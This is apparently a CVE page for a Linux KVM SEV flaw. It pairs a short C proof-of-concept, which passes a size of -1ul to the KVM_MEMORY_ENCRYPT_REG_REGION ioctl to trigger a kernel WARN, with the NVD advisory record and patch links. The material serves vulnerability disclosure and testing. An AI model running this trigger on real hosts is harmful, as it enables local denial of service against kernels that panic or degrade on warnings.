CVE-2026-31590

#include <linux/kvm.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <stdint.h> int main() { // Open the KVM device int kvm_fd = open("/dev/kvm", O_RDWR); if (kvm_fd < 0) { perror("open /dev/kvm"); return 1; } // Create a virtual machine int vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); if (vm_fd < 0) { perror("KVM_CREATE_VM"); close(kvm_fd); return 1; } // Prepare the malicious region structure // Setting size to -1ul (max unsigned long) to trigger integer overflow in npages calculation struct kvm_enc_region range = { .addr = 0, .size = (unsigned long)-1, // -1ul }; printf("Triggering CVE-2026-31590 by registering a region with size: %lu\n", range.size); // Execute the IOCTL to register the encrypted memory region // This calls sev_mem_enc_register_region -> sev_pin_memory // The kernel will trigger a WARN due to npages > INT_MAX int ret = ioctl(vm_fd, KVM_MEMORY_ENCRYPT_REG_REGION, &range); if (ret < 0) { // The IOCTL is expected to fail (return -EINVAL or similar), // but the goal is to trigger the WARN in the kernel log (dmesg). perror("ioctl KVM_MEMORY_ENCRYPT_REG_REGION failed"); } else { printf("IOCTL succeeded (unexpected).\n"); } close(vm_fd); close(kvm_fd); return 0; }

{"cve": {"id": "CVE-2026-31590", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:36.170", "lastModified": "2026-04-28T20:38:52.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SEV: Drop WARN on large size for KVM_MEMORY_ENCRYPT_REG_REGION\n\nDrop the WARN in sev_pin_memory() on npages overflowing an int, as the\nWARN is comically trivially to trigger from userspace, e.g. by doing:\n\n struct kvm_enc_region range = {\n .addr = 0,\n .size = -1ul,\n };\n\n __vm_ioctl(vm, KVM_MEMORY_ENCRYPT_REG_REGION, &range);\n\nNote, the checks in sev_mem_enc_register_region() that presumably exist to\nverify the incoming address+size are completely worthless, as both \"addr\"\nand \"size\" are u64s and SEV is 64-bit only, i.e. they _can't_ be greater\nthan ULONG_MAX. That wart will be cleaned up in the near future.\n\n\tif (range->addr > ULONG_MAX || range->size > ULONG_MAX)\n\t\treturn -EINVAL;\n\nOpportunistically add a comment to explain why the code calculates the\nnumber of pages the \"hard\" way, e.g. instead of just shifting @ulen."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.9", "versionEndExcluding": "6.6.136", "matchCriteriaId": "5F07F4AC-C44A-486A-9422-D8975351BA25"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.83", "matchCriteriaId": "7F0AE5B5-23AC-4DCC-B37A-51CA1DAE7BA8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.0.1", "matchCriteriaId": "9B5888AB-7403-4335-89E4-21CC0B48366A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1cba4dcd795daf6d257122779fb6a349edf03914", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/28cc13ca20431b127d42d84ba10898d03e2c8267", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8acffeef5ef720c35e513e322ab08e32683f32f2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ab423e5892826202a660b5ac85d1125b0e8301a5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b670833749ffd8681361db2bb047c6f2e3075f3a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c29ff288a2d97a6f4640a498a367cf0eb91312eb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}